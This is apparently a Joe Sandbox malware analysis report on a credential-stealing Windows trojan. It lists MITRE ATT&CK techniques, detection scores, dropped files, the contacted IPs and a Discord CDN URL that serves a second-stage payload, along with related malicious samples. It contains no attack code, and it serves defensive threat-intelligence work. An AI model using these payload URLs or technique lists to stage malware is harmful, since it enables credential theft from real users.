Source: Yara match	File source: 00000000.00000000.282891500.00000000000C2000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: AppLaunch.exe PID: 7104, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation231	Path Interception	Process Injection312	Masquerading1	OS Credential Dumping1	Security Software Discovery541	Remote Services	Credential API Hooking1	Exfiltration Over Other Network Medium	Encrypted Channel11	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Disable or Modify Tools11	Credential API Hooking1	Process Discovery12	Remote Desktop Protocol	Archive Collected Data1	Exfiltration Over Bluetooth	Non-Standard Port1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Virtualization/Sandbox Evasion241	Security Account Manager	Virtualization/Sandbox Evasion241	SMB/Windows Admin Shares	Data from Local System3	Automated Exfiltration	Ingress Tool Transfer1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Process Injection312	NTDS	Application Window Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol2	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Obfuscated Files or Information1	LSA Secrets	Remote System Discovery1	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol3	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	File and Directory Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	System Information Discovery233	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe	28%	Virustotal		Browse
702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe	39%	ReversingLabs	Win32.Trojan.Pwsx
702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\fl.exe	12%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\fl.exe	21%	ReversingLabs	ByteCode-MSIL.Trojan.Pwsx

Unpacked PE Files

Source	Detection	Scanner	Label	Download
0.0.702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.0.702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe.400000.2.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.0.702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.2.702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe.400000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://service.r	0%	URL Reputation	safe
http://tempuri.org/Entity/Id12Response	0%	URL Reputation	safe
http://tempuri.org/	0%	URL Reputation	safe
http://tempuri.org/Entity/Id2Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id21Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id9	0%	URL Reputation	safe
http://tempuri.org/Entity/Id8	0%	URL Reputation	safe
http://tempuri.org/Entity/Id5	0%	URL Reputation	safe
http://tempuri.org/Entity/Id4	0%	URL Reputation	safe
http://tempuri.org/Entity/Id7	0%	URL Reputation	safe
http://tempuri.org/Entity/Id6	0%	URL Reputation	safe
http://tempuri.org/Entity/Id19Response	0%	URL Reputation	safe
http://www.interoperabilitybridges.com/wmp-extension-for-chrome	0%	URL Reputation	safe
http://tempuri.org/Entity/Id15Response	0%	URL Reputation	safe
http://support.a	0%	URL Reputation	safe
http://tempuri.org/Entity/Id6Response	0%	URL Reputation	safe
https://api.ip.sb/ip	0%	URL Reputation	safe
http://tempuri.org/Entity/Id9Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id20	0%	URL Reputation	safe
http://tempuri.org/Entity/Id21	0%	URL Reputation	safe
http://tempuri.org/Entity/Id22	0%	URL Reputation	safe
http://tempuri.org/Entity/Id23	0%	URL Reputation	safe
http://tempuri.org/Entity/Id24	0%	URL Reputation	safe
http://tempuri.org/Entity/Id24Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id1Response	0%	URL Reputation	safe
http://forms.rea	0%	URL Reputation	safe
http://tempuri.org/Entity/Id10	0%	URL Reputation	safe
http://tempuri.org/Entity/Id11	0%	URL Reputation	safe
http://tempuri.org/Entity/Id12	0%	URL Reputation	safe
http://tempuri.org/Entity/Id16Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id13	0%	URL Reputation	safe
http://tempuri.org/Entity/Id14	0%	URL Reputation	safe
http://tempuri.org/Entity/Id15	0%	URL Reputation	safe
http://tempuri.org/Entity/Id16	0%	URL Reputation	safe
http://tempuri.org/Entity/Id17	0%	URL Reputation	safe
http://tempuri.org/Entity/Id18	0%	URL Reputation	safe
http://tempuri.org/Entity/Id5Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id19	0%	URL Reputation	safe
http://tempuri.org/Entity/Id10Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id8Response	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
cdn.discordapp.com	162.159.129.233	true	false		high
www.google.com	216.58.215.228	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://cdn.discordapp.com/attachments/902018470651248682/903220784527462500/Unprimness.exe	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text	AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc/sct	AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	false		high
https://duckduckgo.com/chrome_newtab	AppLaunch.exe, 00000002.00000002.350211164.00000000075C4000.00000004.00000001.sdmp	false		high
http://service.r	AppLaunch.exe, 00000002.00000002.350211164.00000000075C4000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk	AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	false		high
https://duckduckgo.com/ac/?q=	AppLaunch.exe, 00000002.00000002.350211164.00000000075C4000.00000004.00000001.sdmp, AppLaunch.exe, 00000002.00000002.351638818.0000000007825000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultL	AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary	AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id12Response	AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/	AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp, AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id2Response	AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp, AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1	AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id21Response	AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap	AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id9	AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID	AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id8	AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id5	AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare	AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id4	AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id7	AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id6	AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret	AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_real	AppLaunch.exe, 00000002.00000002.350211164.00000000075C4000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id19Response	AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license	AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	false		high
http://www.interoperabilitybridges.com/wmp-extension-for-chrome	AppLaunch.exe, 00000002.00000002.350211164.00000000075C4000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted	AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence	AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_pdf	AppLaunch.exe, 00000002.00000002.350211164.00000000075C4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/fault	AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat	AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey	AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id15Response	AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	false		high
http://forms.real.com/real/realone/download.html?type=rpsp_us	AppLaunch.exe, 00000002.00000002.350211164.00000000075C4000.00000004.00000001.sdmp	false		high
http://support.a	AppLaunch.exe, 00000002.00000002.350211164.00000000075C4000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew	AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register	AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id6Response	AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey	AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	false		high
https://api.ip.sb/ip	702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe, 00000000.00000000.281169813.00000000000C2000.00000004.00000001.sdmp, AppLaunch.exe, 00000002.00000002.346316963.0000000000402000.00000020.00000001.sdmp, AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://download.divx.com/player/divxdotcom/DivXWebPlayerInstaller.exe	AppLaunch.exe, 00000002.00000002.350211164.00000000075C4000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_quicktime	AppLaunch.exe, 00000002.00000002.350211164.00000000075C4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/sc	AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC	AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel	AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id9Response	AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	AppLaunch.exe, 00000002.00000002.350211164.00000000075C4000.00000004.00000001.sdmp, AppLaunch.exe, 00000002.00000002.351638818.0000000007825000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id20	AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id21	AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id22	AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1	AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id23	AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1	AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id24	AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue	AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id24Response	AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp, AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp, AppLaunch.exe, 00000002.00000002.351702204.0000000007854000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id1Response	AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp, AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested	AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly	AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay	AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego	AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary	AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC	AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey	AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	false		high
https://cdn.discordapp.com/attachments/902018470651248682/903220784527462500/Unprimness.exee	AppLaunch.exe, 00000002.00000002.348057731.0000000005731000.00000004.00000020.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing	AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_shockwave	AppLaunch.exe, 00000002.00000002.350211164.00000000075C4000.00000004.00000001.sdmp	false		high
http://forms.rea	AppLaunch.exe, 00000002.00000002.350211164.00000000075C4000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion	AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/trust	AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id10	AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id11	AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id12	AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id16Response	AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse	AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel	AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id13	AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id14	AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id15	AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id16	AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce	AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id17	AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id18	AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id5Response	AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id19	AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns	AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id10Response	AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Renew	AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id8Response	AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://support.google.com/chrome/?p=plugin_wmp	AppLaunch.exe, 00000002.00000002.350211164.00000000075C4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey	AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0	AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID	AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/answer/6258784	AppLaunch.exe, 00000002.00000002.350211164.00000000075C4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT	AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
144.76.156.28	unknown	Germany	24940	HETZNER-ASDE	true
216.58.215.228	www.google.com	United States	15169	GOOGLEUS	false
162.159.129.233	cdn.discordapp.com	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	511309
Start date:	28.10.2021
Start time:	22:42:08
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 7m 17s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	27
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@6/9@2/3
EGA Information:	Failed
HDC Information:	Successful, ratio: 100% (good quality ratio 50%) Quality average: 25% Quality standard deviation: 18%
HCA Information:	Successful, ratio: 66% Number of executed functions: 152 Number of non-executed functions: 13
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WerFault.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 23.211.4.86, 40.126.31.3, 40.126.31.138, 40.126.31.142, 40.126.31.9, 20.190.159.131, 40.126.31.7, 20.190.159.133, 20.190.159.137, 13.89.179.12, 20.50.102.62, 52.251.79.25, 20.54.110.249, 40.112.88.60, 80.67.82.235, 80.67.82.211 Excluded domains from analysis (whitelisted): www.tm.lg.prod.aadmsa.akadns.net, consumer-displaycatalogrp-aks2aks-useast.md.mp.microsoft.com.akadns.net, onedsblobprdcus17.centralus.cloudapp.azure.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, www.tm.a.prd.aadg.trafficmanager.net, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, login.live.com, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ris-prod.trafficmanager.net, eus2-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, asf-ris-prod-neu.northeurope.cloudapp.azure.com, e1723.g.akamaiedge.net, iris-de-prod-azsc-uks.uksouth.cloudapp.azure.com, login.msa.msidentity.com, ris.api.iris.microsoft.com, blobcollector.events.data.trafficmanager.net, displaycatalog-rp-useast.md.mp.microsoft.com.akadns.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
22:43:12	API Interceptor	1x Sleep call for process: WerFault.exe modified
22:43:24	API Interceptor	43x Sleep call for process: AppLaunch.exe modified
22:44:03	API Interceptor	3x Sleep call for process: fl.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
162.159.129.233	1PhgF7ujwW.exe	Get hash	malicious	Browse	cdn.discordapp.com/attachments/878382243242983437/879280740578263060/FastingTabbied_2021-08-23_11-26.exe
	vhNyVU8USk.exe	Get hash	malicious	Browse	cdn.discordapp.com/attachments/837741922641903637/866064264027701248/svchost.exe
	Order 4503860408.exe	Get hash	malicious	Browse	cdn.discordapp.com/attachments/809311531652087809/839376179840286770/originbot4.0.exe
	cotizacin.doc	Get hash	malicious	Browse	cdn.discordapp.com/attachments/812102734177763331/819187064415191071/bextrit.exe
	SecuriteInfo.com.PWS-FCXDF96A01717A58.15363.exe	Get hash	malicious	Browse	cdn.discordapp.com/attachments/819169403979038784/819184830453514270/fraem.exe
	7G5RoevPnu.exe	Get hash	malicious	Browse	cdn.discordapp.com/attachments/807746340997431316/809208342068199434/118fir2crtg.exe
	70% Balance Payment.doc	Get hash	malicious	Browse	cdn.discordapp.com/attachments/785631384156110868/785631871395561492/italianmassloga.exe
	TT20201712.doc	Get hash	malicious	Browse	cdn.discordapp.com/attachments/788973775433498687/788974151649722398/damianox.scr
	ENQ-015August 2020 R1 Proj LOT.doc	Get hash	malicious	Browse	cdn.discordapp.com/attachments/722888184203051118/757862128198877274/Stub.jpg

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
cdn.discordapp.com	GenshinHack.exe	Get hash	malicious	Browse	162.159.134.233
	Installer.exe	Get hash	malicious	Browse	162.159.129.233
	YRbcV0B6TZ.exe	Get hash	malicious	Browse	162.159.133.233
	Casting Invite.-06503_20211027.xlsb	Get hash	malicious	Browse	162.159.129.233
	Casting Invite.-06503_20211027.xlsb	Get hash	malicious	Browse	162.159.130.233
	vq7HsMD9uV.exe	Get hash	malicious	Browse	162.159.134.233
	fCARkQInjh.exe	Get hash	malicious	Browse	162.159.134.233
	2k37yviKVW.exe	Get hash	malicious	Browse	162.159.134.233
	6oi3E5jdTR.exe	Get hash	malicious	Browse	162.159.134.233
	488706b8e34f0d64a9023adb6a2570b9983fd741f0306.exe	Get hash	malicious	Browse	162.159.129.233
	Jm3x80kZjO.exe	Get hash	malicious	Browse	162.159.134.233
	zHHEKo925b.exe	Get hash	malicious	Browse	162.159.129.233
	4BxZpwUFPO.exe	Get hash	malicious	Browse	162.159.133.233
	RE0jBlQylG.exe	Get hash	malicious	Browse	162.159.130.233
	SWIFT COPY.exe	Get hash	malicious	Browse	162.159.130.233
	ENC MARKETING - INQUIRY AND SAMPLE REQUEST.exe	Get hash	malicious	Browse	162.159.133.233
	SecuriteInfo.com.Trojan.Win32.Save.a.11011.exe	Get hash	malicious	Browse	162.159.133.233
	ueLBQQ6b5q.exe	Get hash	malicious	Browse	162.159.135.233
	0547e698f43ca812e53e401c23b2797d4043aebbeceaf.exe	Get hash	malicious	Browse	162.159.134.233
